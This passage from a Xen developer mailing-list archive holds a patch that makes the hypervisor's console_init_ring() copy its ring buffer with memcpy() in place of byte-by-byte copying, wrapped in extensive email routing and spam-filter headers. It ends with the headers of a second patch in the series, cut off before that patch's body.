In-Reply-To: <20260713181619.672176-1-dmukhin@ford.com>
References: <20260713181619.672176-1-dmukhin@ford.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-13_04,2026-07-10_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 suspectscore=0
 spamscore=0 malwarescore=0 phishscore=0 bulkscore=0 lowpriorityscore=0
 adultscore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607130189
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: SJ5PEPF000001D3:EE_|IA1PR16MB5286:EE_
Content-Type: text/plain
X-MS-Office365-Filtering-Correlation-Id: d679dcc7-2efc-4069-b18b-08dee10add86
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|1800799024|82310400026|36860700016|23010399003|6133799003|18002099003|22082099003|11063799006|56012099006;
X-Microsoft-Antispam-Message-Info:
	dyLvHlsPy6oXF5uye0NZGTywu+D2CMiV3hWAxuxvVJ4P2PcORrmJIIISZQF2YkMFxmtfH+Mxnki8bKhFHtuklR8zAsqeJR6QhDkAwDtA+pgHsvwbS2envshhra0NHE8ba/Xo6RvX+jblT5MgofJNXFLxN4ZCTgX4kT9lSIiD1CWv7gHC0sz7F88hrrNhNCY/fHDsVVCNHQE9JwW9oaRfyA1KPYD5BnOcXyxC4/efvfSTGIvyhUJiDDPh+VpccbnMKRKz531E6f3ixlLRuRH0FyjfFG4lj2TEAQKMfZW2NOlZfuZgRsqV9I7vmuw6svRKcaoS1fZjscB0HmRcfjZqCKBte+wQsXDUkn6aoC9/eWBrFlN0RC7UzDVficn2gEJyzY0+6r0z02+VwAof95zSTAvPdKuZeiisZfOvsrAZ3AVCtR6XeOepX8MdRLGnP8STB+asCMwfAt/1XrHK68s22W58njYxY4fKIeL+y3MHY4YftJVFXznp3HwYoV+UfASVc5oYt7fXyWi3xAcf4+bcyjyDtA424HfYQx5r6+6YCxC2rlT7CB9BK+fwtJb27ywb5D84uLnTBdPay49kNSqoSrlnuxgslThoZ0YUJezx74w85UJ67ePTnTacSxrDzpaOygzav5XA4OpdyUZkzHaQbhmdvaRjeqXLUExfrLzfnxFDc63w6aK7PrW6WjxmH3twJ+kumN+9X2HBDER9quvi9w==
X-Forefront-Antispam-Report:
	CIP:148.163.138.245;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0b-00498f04.pphosted.com;PTR:mx0b-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(376014)(1800799024)(82310400026)(36860700016)(23010399003)(6133799003)(18002099003)(22082099003)(11063799006)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	/ow4CMUKWbdI76eK1WYTQaw3yXJgJRABRoTkyajcq9UO035Sp8CCTeKKqG4BMJVetrrsbQytfpS16HMT+Zst0y9mZwCfFKxSdfYbR4BKzRPKXONW+K50hXac/LqZuj3zt8tIq75l/2Jn9tICMY0535seIDuJGsAOAc0uniIRYPSiSLr3u2ihP5Iy8SpeuddvMGpNRPX5wPb7ulPEEDILs4ttxMvO1pXez3ujf48+C6G+6Vc0yJ9qtIA4fROzPEwjFUSV162UbKkxBPAIxVwrZntAAcar62mU1Aa4spXY4wL+otfuo0MqaLCzj56tN5Af04R2LlL2JesGHdewejzSisWpvYmgStUROu2JHx9zMgA2/mbg/bJWh+BR6WecUxlVLz3B9DJ0ucTdwma5hMmgalyY0Cure6HxTJqP5UQ+8DiS+Xag3QlF7RSFpBqxzFKH
X-Exchange-RoutingPolicyChecked:
	n44wwQhUgsUSDItcTwcbkwL+KvLX9E9CgVnU90XJ2z/vgfassEMVGOXxbn+gCTVkQ6jJLDJATSJQGMvJHuVZfJFF0peHyQqtAB8V8OjHMIv1br9rl44CoFkFsQf1FwXchwkuJ7tuW7TZe15hCHXCAgVSGc/4grVAR8UFXXS90o8GxSLI1wsFuEcKIUoxCuCT8ses2WJYFTH2n4KVlG75QbRJodcq2qSFjD2huL70/mfTmv9e42vNJM9+vNGRLAws9FQ6+ez0XVfJs1zH39baZ8jIrSQlXCC1kbzuUJ4zT/3bJl9qK1DlCPZDp3m69PFu/S9AhTrW3UKgSRKpMFKT5g==
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-0:
	HOZ3QayRkVmhDLv82K+E21AQyNUUO8rnPFYjP6PvVcJo5w29i2OOzRHsesx9rQA7VNiasgiJYI2GU5aXIHz8axEzCcqOwTwJUdIVZY07sKir/moN3zqZTmFst5XmEyUNl++dETn+CsGFen31efpPOxfQ/kHspY8rc+KNX6rerndD0XaB5xyw70ex2CglDyR72x2Vw8MblABQ8WhybNE7lNMgLn+tS/IbgbMN1YzWBX5x/ji8XoqGPD2d6rfomi3Zhw3BUFDk23qp73tdbvfbBI4iRFQVBVolOnDy7FNyniAro1u6Ez6ejHJQYk6GfsBKsbl3wuN/5TuxHL4CAFrLLo4V5Ju83gmdYAvPv75RQD8zc8pm7ntCpI+8c2d7YUYk+O0IZXKIZaUPEuSoP50Gs7r+fFaQkh4fxQFWcVJOxzCLS8fUsuFDugVWnN+NQBYrKlAOZEiaRJNC9BuPhy84ZCt412tntDKis0AZTChv6kwkMl/T5+i3glLfmk7ktdmRAjb/OOPOg93QTNeWQyCwPHYvQvIYxUi20J5BZj+r9Su6+5bnu+RxeROHODLN3jxdyYIJiIFNaDQFqtW3Qa1MoKNu/C1MeYFackM+j4lFa4/7DZ9TwiDcS8gbt3BEXWXQJWEEAD3yr3t4Fqly3bAgIA==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 13 Jul 2026 18:16:31.3064
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: d679dcc7-2efc-4069-b18b-08dee10add86
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[148.163.138.245];Helo=[mx0b-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	SJ5PEPF000001D3.namprd05.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: IA1PR16MB5286
X-Authority-Analysis: v=2.4 cv=av+CzyZV c=1 sm=1 tr=0 ts=6a552b83 cx=c_pps
 a=dAhe3p+MvHJ8ujFi5nYcpA==:117 a=b7IhknPlfT0FN1EembXvig==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=RAioF0-LDSMA:10 a=3PXLN80vpJUA:10
 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=P_n1zlmtWsCQbjROFjcg:22 a=MLwXIh1eZMowsRZfVxRb:22 a=cbNQJ9GKAAAA:8
 a=tHz9FfFoAAAA:8 a=bfffGLb1BPHTRRR5J6cA:9 a=DqJYxgmhk6moR-_7_KoZ:22
X-Proofpoint-ORIG-GUID: 6y3Xw95usSIdVVpC27vj642OPskriu_I
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzEzMDE4OSBTYWx0ZWRfX/S99l/rnaWm9
 S6sA1qDGeKwdRaQW+3iS/LNdgWinjb0Z700Q72vcr/Ut4IPaXtSSNPkGdibFFDV7viPIHvsa6h4
 uOryBKgn6uI4FKktfeb+nhDXi2e4NHfvrlBlU0TLZhR1IRl3FOGSTFVuUmkmQTaxi4f3AK4CQHu
 aJyLhORAE9p98ZtQwK982hffzkZa9vF2D3Z72ZZbpGvC/Lj02+sD5Otxdfa1bgZKigaYr9zyu2+
 khNxTeme7R3eOumgUC9xZxex5ImXPTqfXeDQSQBkMuVKfG/pZUTkrjGZvnnxxFN+EDdIJ938BXg
 XTeyCvlZ7BSA9ysz/MfvZ58aLW82WIhv3/fhh4Gxk+uFv6WIWDrBsiM8RZFz+PFtEjnILJCloou
 UE1FzLjeVvTL9n1xle3y+f4xoX9hsxOGmFxcvTf2EEldbLQx5JQ7HBMZu6Gwm6bQuEUtzFaO4e8
 ebT++TMrQBSc4iLy1Ng==
X-Proofpoint-GUID: 6y3Xw95usSIdVVpC27vj642OPskriu_I
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzEzMDE4OSBTYWx0ZWRfX2IjJoL4AaKJY
 Dtd8uPGpcvj1RuzY5gYTyh5tIkWt3nzuPJ+kG/zOATcjKQ9/gM8/pkHUTXir7LVqZcoJzYJY1fj
 y75jbvRxxnexhzYn+Wnaqov9/RVXtWbMylWrUryFEx9CPqc507/F
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-13_04,2026-07-10_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 clxscore=1015
 lowpriorityscore=0 bulkscore=0 phishscore=0 suspectscore=0 impostorscore=0
 malwarescore=0 adultscore=0 spamscore=0 priorityscore=1501
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607130189
X-purgate-ID: tlsNG-4011c0/1783966598-ACD46248-A9C218AF/0/0
X-purgate-type: clean
X-purgate-size: 1872

From: Denis Mukhin <dmukhin@ford.com> 

Make console_init_ring() more efficient by using memcpy()'s, rather than
copying the ring a byte at a time.

No functional change intended.

Suggested-by: Andrew Cooper <andrew.cooper3@citrix.com>
Signed-off-by: Denis Mukhin <dmukhin@ford.com>
Acked-by: Roger Pau Monne <roger.pau@citrix.com>
---
Changes since v6:
- addressed Roger's feedback
- added Roger's A-b
---
 xen/drivers/char/console.c | 18 +++++++++++++++---
 1 file changed, 15 insertions(+), 3 deletions(-)

diff --git a/xen/drivers/char/console.c b/xen/drivers/char/console.c
index 5ebbbf63c092..37ea84403180 100644
--- a/xen/drivers/char/console.c
+++ b/xen/drivers/char/console.c
@@ -463,7 +463,8 @@ static void cf_check conring_dump_keyhandler(unsigned char key)
 void __init console_init_ring(void)
 {
     char *ring;
-    unsigned int i, order, memflags;
+    XENCONS_RING_IDX done, size, n;
+    unsigned int order, memflags;
     unsigned long flags;
 
     if ( !opt_conring_size )
@@ -479,8 +480,19 @@ void __init console_init_ring(void)
     opt_conring_size = PAGE_SIZE << order;
 
     nrspin_lock_irqsave(&console_lock, flags);
-    for ( i = conringc ; i != conringp; i++ )
-        ring[i & (opt_conring_size - 1)] = conring[i & (conring_size - 1)];
+
+    size = conringp - conringc;
+    for ( done = 0; done < size; done += n )
+    {
+        XENCONS_RING_IDX src = (conringc + done) & (conring_size - 1);
+        XENCONS_RING_IDX dst = (conringc + done) & (opt_conring_size - 1);
+
+        n = min(opt_conring_size - dst, conring_size - src);
+        n = min(size - done, n);
+
+        memcpy(&ring[dst], &conring[src], n);
+    }
+
     conring = ring;
     smp_wmb(); /* Allow users of console_force_unlock() to see larger buffer. */
     conring_size = opt_conring_size;
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 13 18:16:45 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 18:16:45 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361816.1613902 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjLCv-0004wr-F1; Mon, 13 Jul 2026 18:16:45 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361816.1613902; Mon, 13 Jul 2026 18:16:45 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjLCv-0004wh-BP; Mon, 13 Jul 2026 18:16:45 +0000
Received: by outflank-mailman (input) for mailman id 1361816;
 Mon, 13 Jul 2026 18:16:43 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wjLCt-0004us-8b
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 18:16:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjLCs-00EXP1-LU
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 20:16:42 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a552b8a-5cb7-0a2a0a5109dd-0a2a4501c2ae-0
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 20:16:42 +0200
Received: from [148.163.146.23] (helo=mx0a-00498f03.pphosted.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <dmukhin@ford.com>)
 id 6a552b88-3ea4-0a2a45010019-94a39217583c-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 20:16:42 +0200
Received: from pps.filterd (m0482516.ppops.net [127.0.0.1])
 by m0482516.ppops.net (8.18.1.11/8.18.1.11) with ESMTP id 66DI3J6S4000180
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 11:16:40 -0700
Received: from sn4pr0501cu005.outbound.protection.outlook.com
 (mail-southcentralusazon11011029.outbound.protection.outlook.com
 [40.93.194.29])
 by m0482516.ppops.net (PPS) with ESMTPS id 4fd4wfr67n-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 11:16:40 -0700 (PDT)
Received: from DS7P222CA0028.NAMP222.PROD.OUTLOOK.COM (2603:10b6:8:2e::21) by
 CH1PPFF9B87097C.namprd16.prod.outlook.com (2603:10b6:61f:fc00::a2b)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.23; Mon, 13 Jul
 2026 18:16:34 +0000
Received: from DS1PEPF00017094.namprd03.prod.outlook.com
 (2603:10b6:8:2e:cafe::3c) by DS7P222CA0028.outlook.office365.com
 (2603:10b6:8:2e::21) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.19 via Frontend Transport; Mon,
 13 Jul 2026 18:16:34 +0000
Received: from mx0b-00498f04.pphosted.com (148.163.138.245) by
 DS1PEPF00017094.mail.protection.outlook.com (10.167.17.137) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.9
 via Frontend Transport; Mon, 13 Jul 2026 18:16:34 +0000
Received: from pps.filterd (m0373461.ppops.net [127.0.0.1])
 by mx0b-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66DHfusS3407614
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 14:16:33 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-usw.ser.proofpoint.com
 [34.209.42.160])
 by mx0b-00498f04.pphosted.com (PPS) with ESMTPS id 4fc4f7svev-23
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 14:16:33 -0400 (EDT)
Received: from localhost ([19.12.92.221]) by cmsmtp with ESMTPSA
 id jLCgwFUNAaHu5jLChwDmN9; Mon, 13 Jul 2026 18:16:32 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppford; bh=ce1
	jhMiaBy/3W2Uv2mKNvHf2zWc6VTi0DOZv9EOD9X4=; b=BSTRIxo1K606vOOzWAH
	Z25kptxC8S4QA+3yQskFtoqH4O2zg0/n74TteRuSDq97ZjDTC6rGCAZTr2l2b69f
	ZOykhAO47E/5NAssN8c/DpuD3d6ebE/g96Nw+SHC29YS0Ihdcnkvf0jDBMY40g1j
	B7KljmP2tg8nRgX2ZKvxUVF26WZ9qP04+IXlvEq+jyXlGdN2hHLmBfVeJu/sbzDc
	wuqU8cZ+i5K0924LDKfoEKo8zqgyBNt4YmYhpsz5mzu5YCTeIhwBhMDgNMv5UFRy
	ScsPXexn5D7xeY40y8UouJKvWDXWu3Xt3/IinRfoZMPBFmPfQRg5byCre603c7qd
	Cyw==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=Vmo0uvp4/stlE+Gcv6Lwr/SLFmCSi+RBtXqfYcslQI7OhQkhm96e5XBj2ed1iS8e047LN2ER0WtLcQAQBdBksh7m15d2Lq3VnY/vubq9qIs3R/TbRknIcEFRrVofFr2uWGzg99qxODUNI3beRVOwKOvxAQaMCwTGQx9tFDshQs3b4ywt+X1YByJmhKuDNUbdRJ2K/M3Hp4747O2s29XI6DUl+fUOPh8V7H4Q1QXkfMKhCi+9MioJFsrWG4xIOcMk1L5YTTu6A23F9OKCBCOIhY4qr00vpH/tfjT/OdjYkmtLYbxLwm8sfqbTgtT0WS80lrIPuwKp2mWcVFQKSZvO7w==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=ce1jhMiaBy/3W2Uv2mKNvHf2zWc6VTi0DOZv9EOD9X4=;
 b=QAYnyqeDn10UBQUyLCft+YudOsgrfXK853E+XwURMZGdJnJ7vC47tjAzVxLsJI8RT7gtCUsIvJtgQfiweaQptTvw9+UrS9/UbTykwaexgr5AVKCCm9T3NR+M/8wMVKPh+xABkLC1cpmZfdQrLydbb+SsJHKwbZS1u3OxF4oTA3i3I0ENvg6asLLFCHlLgMawLH+RM3MtgLtBQt4mr4cDQMwldOzuR0IuV7Ryah/UYzfB6NnTccSAcqlwp9QKJ6oDWiLiwRMakcJaCyDCjHjo0i8z+VrvgJlzK6H/zo1tZJEWwrLVaxpN9V3Zrz5k/KdU82fexgPfhFg2WvlbkM8uow==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 148.163.138.245) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=ce1jhMiaBy/3W2Uv2mKNvHf2zWc6VTi0DOZv9EOD9X4=;
 b=NfherkxkX/KlilcjMHeGicKIsm8F5gWpErcVn0JdHaLoXLQTDC24+kGuFmdvi9ypElPrWSXVXqvfGA6icZC0bGwgsqWvQvEv8oVcF3BojDdFDd9ujvBvZOUlT+6DCLR12FoC26y7+Hn1mvRq+w7B7We1w1Tv7gb5wg5kjP7ZGmM=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 148.163.138.245)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 148.163.138.245 as permitted sender) receiver=protection.outlook.com;
 client-ip=148.163.138.245; helo=mx0b-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:date:from
	:in-reply-to:message-id:mime-version:references:subject:to; s=
	ppserprodsaar; bh=ce1jhMiaBy/3W2Uv2mKNvHf2zWc6VTi0DOZv9EOD9X4=; b=
	IunAWzyajqN7VGzGfxXUBSMPk6iStHkqZzWjMY/dScGGrwnVe0/x+6o4KKyvL2RZ
	axpG8aSFaVWSH3j7wK5bk2Zh6oMLUn0eiMc4ubGIdotlVF8dqSg/t7ICF23RLsWh
	X9bx4GtpbIQm8CySi7SVhYvMrSQVIa13RylZSytV4anAvK7t7RAsOohEzdHeXgUR
	fVBCqaIFeFVyS4nAsV89dRCENU3jxe6CvSYapyTJH6KE7jwKGHgkZ3BZT0m3yoTs
	9ZbyT0aYaD4ziBBwJ7RmdAnp0AcWVHTdhbK3yhr/QhZGkKtW1vNFNjo/FUl+JLFW
	yYOpf8+1KfD+P6BwGGw0EQ==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:date:from:in-reply-to:message-id
	:mime-version:references:subject:to; s=ppfserpocford; bh=ce1jhMi
	aBy/3W2Uv2mKNvHf2zWc6VTi0DOZv9EOD9X4=; b=qU/RAtBHvf7PV/vX/KbQYcw
	mD2HYmAm1lSh6HR1HsNuOVpZnyW4UlUAqEQDvSaqsI+gp59uJJ31l4rG2fRJLIFu
	HhjqXawOihewV3amswJ9hhQINtg4DncwWbBS9oIwS/t5jc3GGWfk4ejQCC4A0z8R
	ol+hREoL1wZFGvoANDOkHqwZrzlHnlQLyusOraRGq3JHVZC2nocJ0FDaRC4vBC8D
	HTVc0JF3abGtjsB5UfZk/cpX13Ko+mN694EFqvI/VgYZBgGvmkN1rc86mzjeW0l3
	omDfXajtScsv74AvkX+7LSBXxzm179OrfuC2yc/bBroJ3rCsvVij27Se/Z9KhWQ=
	=
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: jLCgwFUNAaHu5jLChwDmN9
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
To: xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, dmukhin@ford.com
Subject: [PATCH v7 3/7] xen/console: use memcpy() in conring_puts()
Date: Mon, 13 Jul 2026 11:16:15 -0700
Message-ID: <20260713181619.672176-4-dmukhin@ford.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260713181619.672176-1-dmukhin@ford.com>
References: <20260713181619.672176-1-dmukhin@ford.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-13_04,2026-07-10_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 spamscore=0
 adultscore=0 phishscore=0 suspectscore=0 bulkscore=0 malwarescore=0
 lowpriorityscore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607130189
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: DS1PEPF00017094:EE_|CH1PPFF9B87097C:EE_
Content-Type: text/plain
X-MS-Office365-Filtering-Correlation-Id: 7e3cf7a0-c933-4cfb-07e6-08dee10adf2f
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|36860700016|376014|82310400026|23010399003|1800799024|18002099003|22082099003|56012099006|11063799006;
X-Microsoft-Antispam-Message-Info:
	ZrmtgJCc/Ur7ufh8Xq6MZBFFODH6RJ6Zkklvwf3hI8c7QmmODWdH1nB/hlXwKDDy4fGI6v/qwdG8ocLOBn29mVSayr9ohojU4HGs7GVUhS8V4A1zypOiANa4gTDPNnPZS7OQTmiqELDa/XrzgyP6QDyY45YkL86MxUzFenFglLiKWTTcGy/IzdmsYk5TuNN6jE0WpNb5znT0OEsqbVWbrWQ6MRho/OUwYiwGX9/mvEIz1W3NZgtEwOacmde/EjC1rcLSq+x/SJT8int9Cb29V80+6WDxYLFUDI/MyM0+RAkKcFh6g0cC9iEMFkB/vTxT6av0r5Yuk9yD9yyG+1rtSrVdy8anyOdJDy9xzA6IOZpaXbw5vjfQ+bYzWyB2ESMtVRUMdgwjHG2TBI4zsfzlnVqds06gfsZ9cmB+2MvWqEF7QTcYcDr83ujU6jrzx7KwQu6AcWIt81yoa0E6WspNwNyJpBRPw/pyrEffeNzvYApRIl6OyeU4+BD2dGpgosbxheRydo6dN1f2WmOQwQwx6UCzl7upx+/lkZeSRXTLdVYUG13iuJOeOJMstltFoKKPL3eHqmVoF9LsUBjdYsA46hlD0+mHxX2dmpJrD08pYVZpIIu+0ZIv7mcT+4JGdMoopvXeK8d+5jDzdY5sk/K2EcrR+eVq9Ww8UWLXFWLpKE6xhlVSIa1ciexBAd8RepcqlGjHfcOUt5OaR0S6tsMZvA==
X-Forefront-Antispam-Report:
	CIP:148.163.138.245;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0b-00498f04.pphosted.com;PTR:mx0b-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(36860700016)(376014)(82310400026)(23010399003)(1800799024)(18002099003)(22082099003)(56012099006)(11063799006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	NBilErHaKeOMYCITYHzE01fhsq69dC2MtnBGlxBd6BIhz5W9cRLDtER/FCapbRQ2qc1qZWiGef7IRFbn9KCkcQxjcYkdZatZzazEqkLdBfKLwh48oMSoANsGXuuE28HqhVbG+/ZmtT0eh6dCZhE/ORgxFrjP40HzD4JzK3ouci9d6Ni2+ionAevhgG2Ertu81wBcZ7E/vJRthPoeu9XZVNzDZ5P/+G2EoMhyxU3UclXLHsv+gKzHjWDlojhQgbNiZZ3XXj1zYChkHGskm4p5qzTUA2Dq6+D6RhsXUb1wdvU0KVoqm57bUdZq9jxh7QquD86zRZ9pI2jrieTMvjISL87F10zQQzj+cNNjqkqUB4XYqL1OAlaYtIH4CJT9UuMA61ZpTz7i8iH9+Zuy7aOLadcujYSVHPbnWTwafMbOCNBvzo+Q96TAcQesw7i68Whs
X-Exchange-RoutingPolicyChecked:
	XywAiqBzJn9rjpyUXZ3wKjsSzfsoBKGXT6U7s651yrgO7NeIqtFeGhX33xvjWkvxVstAXjQcXDu8hkuh+nn4X6c39OSTLYM9wFKGLH3fpSPJYG+pDcqipLa09Kchp6z6buuO88YWd0fhzWJDyIQjObL2M93WwySVLgRvJxiIjjYsI+NDJxyrPJzr2Q4nJVrCbrA+MeSixB4NjBpzW9EMloGiZ42WPqJ1tp4BQRxzS664YvvKP1Fl204w3PvhyVddV/gSEbSCDo7fo5DL83ga0Ahqpzk1Yz35oBLSB6TfKhqY5bJ9sDzoLp/PzNOtOKeozpblatB2p7NrnowPN7lUYw==
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-0:
